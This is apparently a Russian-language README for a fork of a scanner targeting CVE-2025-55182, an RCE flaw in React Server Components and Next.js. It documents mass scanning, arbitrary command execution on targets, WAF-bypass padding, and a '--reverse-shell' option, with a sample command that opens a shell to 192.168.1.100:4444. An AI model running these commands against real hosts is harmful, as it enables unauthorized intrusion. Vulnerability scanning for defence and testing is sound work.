
Усовершенствованная версия сканера assetnote CVE-2025-55182
Высокоточное обнаружение RCE в RSC/Next.js
Сканер для обнаружения уязвимостей удаленного выполнения кода (RCE) в приложениях React Server Components и Next.js.
React2Shell Scanner — это специализированный инструмент для выявления уязвимостей удаленного выполнения кода (RCE) в приложениях, использующих React Server Components (RSC) и Next.js. Инструмент обнаруживает уязвимости, связанные со следующими CVE:
Инструмент выполняет высокоточные проверки, используя side-channel detection и proof-of-concept RCE, с возможностью извлечения динамических результатов выполненных команд через автоматический разбор HTTP-ответов.
Это отредактированная версия @imguimoraes оригинального сканера, разработанного Assetnote Security Research Team. Оригинальный PoC RCE создан @maple3142.
pip install requests tqdm
Или с помощью файла requirements.txt:
pip install -r requirements.txt
python scanner.py [-u URL | -l FILE] [опции]
python scanner.py -u https://example.com
python scanner.py -l hosts.txt
| Опция | Описание |
|---|---|
-u, --url URL | Один URL или хост для проверки |
-l, --list FILE | Файл со списком хостов (по одному на строку) |
| Опция | Описание |
|---|---|
-t, --threads N | Количество параллельных потоков (по умолчанию: 10) |
--timeout SECONDS | Тайм-аут запросов в секундах (по умолчанию: 10) |
-k, --insecure | Отключить проверку SSL-сертификата (включено по умолчанию) |
| Опция | Описание |
|---|---|
-o, --output FILE | Файл для вывода результатов в формате JSON |
--all-results | Сохранять все результаты в файл, а не только уязвимые |
-v, --verbose | Подробный вывод (показывает фрагменты ответа для анализа) |
-q, --quiet | Тихий режим (показывает только уязвимые хосты) |
--no-color | Отключить цветной вывод |
| Опция | Описание |
|---|---|
-H, --header "Key: Value" | Добавить пользовательский HTTP-заголовок (можно использовать несколько раз) |
| Опция | Описание |
|---|---|
--safe-check | Использовать безопасный side-channel детектор вместо PoC RCE (не выполняет код) |
--windows | Использовать полезную нагрузку PowerShell вместо Unix shell (для Windows) |
--waf-bypass | Добавлять случайные данные в полезную нагрузку для обхода WAF (по умолчанию: 128 КБ) |
--waf-bypass-size KB | Размер случайных данных в КБ для обхода WAF (по умолчанию: 128) |
--payload COMMAND | Пользовательская команда для выполнения через RCE (по умолчанию: echo $((41*271))) |
--reverse-shell IP:PORT | Создать обратное соединение reverse shell на указанный IP:PORT |
python scanner.py -u https://target.com
python scanner.py -l targets.txt -t 50 --timeout 15
python scanner.py -l targets.txt -o results.json --all-results
python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"
python scanner.py -u https://target.com --payload "whoami"
python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256
python scanner.py -u https://target.com --windows --payload "whoami"
python scanner.py -l targets.txt --safe-check
python scanner.py -l targets.txt -v --all-results -o full_scan.json
python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444
Сканер отображает результаты с цветовой кодировкой статуса:
Для уязвимых хостов при наличии отображается результат выполненной команды, полученный через автоматическое извлечение из заголовка X-Action-Redirect или тела ответа.
При использовании опции -o результат сохраняется в формате JSON следующей структуры:
{
"scan_time": "2025-01-XXT00:00:00.000000Z",
"total_results": 10,
"results": [
{
"host": "https://target.com",
"vulnerable": true,
"status_code": 307,
"final_url": "https://target.com/",
"command_result": "11111",
"timestamp": "2025-01-XXT00:00:00.000000Z",
"request": "POST / HTTP/1.1\r\n...",
"response": "HTTP/1.1 307 Temporary Redirect\r\n...",
"error": null
}
]
}
Поля результата:
vulnerable: true если уязвим, false если нет, null если произошла ошибкаcommand_result: Результат выполненной команды, извлеченный из ответа (если доступен)final_url: Конечный проверенный URL (после следования перенаправлениям, если включено)status_code: HTTP-код ответаrequest: Полный отправленный HTTP-запросresponse: Полученный HTTP-ответ (первые 2000 символов)error: Сообщение об ошибке, если естьtimestamp: UTC метка времени проверкиСканер предлагает два метода обнаружения:
Safe Check (--safe-check): неинвазивный side-channel детектор, проверяющий шаблоны ошибок в ответе без выполнения кода. Полезен для первоначального сканирования без воздействия.
RCE PoC: реальное выполнение удаленного кода с динамическим извлечением результатов. Использует полезные нагрузки на основе Node.js child_process для выполнения системных команд.
Сканер выполняет автоматический разбор HTTP-ответов для извлечения результатов выполненных команд:
X-Action-Redirect (формат: NEXT_REDIRECT;push;/login?a=<result>;307;)E{"digest":"<result>"} или 1:E{"digest":"<result>"})--payloadИзвлечение выполняется динамически, не зависит от фиксированных значений, что позволяет проверять выполнение любой команды.
При использовании опции --waf-bypass:
--waf-bypass-size (по умолчанию: 128 КБ)Параметр --payload позволяет указать любую команду для выполнения: